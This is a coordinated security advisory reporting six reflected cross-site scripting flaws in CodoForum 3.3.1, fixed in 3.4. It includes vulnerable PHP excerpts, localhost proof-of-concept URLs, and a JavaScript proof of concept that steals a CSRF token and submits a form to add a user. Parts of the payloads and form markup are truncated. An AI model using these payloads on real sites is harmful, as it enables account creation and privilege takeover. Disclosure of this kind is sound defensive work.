[FD] CodoForum 3.3.1 Multiple Cross Site Scriptings

CodoForum 3.3.1 Multiple Cross Site Scriptings Security Advisory – Curesec Research Team Online-Reference http://ift.tt/1Emr7Y8 1. Introduction Affected Product: CodoForum 3.3.1 Fixed in: 3.4 Fixed Version Link: http://ift.tt/1h1K2m5 Vendor Contact: admin@codologic.com Vulnerability Type: Multiple Reflected XSS Remote Exploitable: Yes Reported to vendor: 07/07/2015 Disclosed to public: 08/07/2015 Release mode: Coordinated CVE: n/a Credits Tim Coen of Curesec GmbH 2. Vulnerability Description Various components of CodoForum are vulnerable to cross site scripting. With this, it is possible to inject and execute arbitrary JavaScript code. This can for example be used by an attacker to inject a JavaScript keylogger, bypass CSRF protection, or perform phishing attacks. The attacks can be exploited by getting the victim to click a link or visit an attacker controlled website. XSS 1 CodoForum uses version 2.1.2 of HybridAuth, which has an XSS vulnerability in the installation script. This vulnerability is not present in current versions of HybridAuth. Sample POC: http://localhost/codoforum/sys/Ext/hybridauth/install.php/">Code: sys/Ext/hybridauth/install.php:316
  • sys/Ext/hybridauth/install.php:346 if( isset( $item["callback"] ) && $item["callback"] ){ $provider_callback_url = '' . $GLOBAL_HYBRID_AUTH_URL_BASE . '?hauth.done=' . $provider . ''; } XSS 2, 3 & 4 The page that manages users does not encode user input before echoing it, and is thus open to XSS. The vulnerable parameters are "username", "role", as well as "status". As the function retrieving POST request parameters uses GET parameters as fallback, it is possible to exploit this issue via POST or GET request. Sample POC: http://localhost/codoforum/admin/index.php?page=users&username=">&role=2&status=99 http://localhost/codoforum/admin/index.php?page=users&username=foo&role=2">&status=99 http://localhost/codoforum/admin/index.php?page=users&username=foo&role=2&status=9"> Code: // admin/modules/users.php:261 $role = getPost('role', '0'); $smarty->assign('role_selected', (($role == '0') ? '2' : $role)); [...] $filter_url.="&role=" . $role; [...] $status = getPost('status', 99); $smarty->assign('status_selected', $status); [...] $filter_url.="&status=" . $status; [...] $username = getPost('username', ""); $smarty->assign('entered_username', $username); [...] $filter_url.="&username=" . $username; XSS 5 The page that shows a list of users does not encode the "pno" argument, and is thus open to XSS. Sample POC: http://localhost/codoforum/admin/index.php?page=users&sort_order=DESC&pno=1">&sort_by=status Code: admin/modules/users.php:326 $sort_url = "index.php?page=users&sort_order=" . $isor . $filter_url . '&pno=' . $_GET['pno']; //put inverted link only for table heading $smarty->assign('sort_url', $sort_url); XSS 6 The page that shows plugins does not properly encode the "plugin" argument, and is thus open to XSS. Sample POC: http://localhost/codoforum/admin/index.php?page=ploader&plugin= Code: admin/modules/ploader.php:85
  • '.$_GET['plugin'].'
  • 3. Proof of Concept Codes: This proof of concept adds a new user by bypassing CSRF protection. In a similar way, the new user could be given admin rights. The script can be loaded from an external server by injecting as payload for the XSS vulnerabilities described above. var csrfProtectedPage = 'http://localhost/codoforum/admin/index.php?page=users'; // get valid token for current request var html = get(csrfProtectedPage); document.body.innerHTML = html; var form = document.getElementById('add_user_form'); var token = form.CSRF_token.value; // build form with valid token document.body.innerHTML += '
' + '' + '' + '' + '' + '' + '
'; // submit form document.forms["myform"].submit(); function get(url) { var xmlHttp = new XMLHttpRequest(); xmlHttp.open("GET", url, false); xmlHttp.send(null); return xmlHttp.responseText; } 4. Solution Upgrade to Version 3.4: http://ift.tt/1h1K2m5 5.
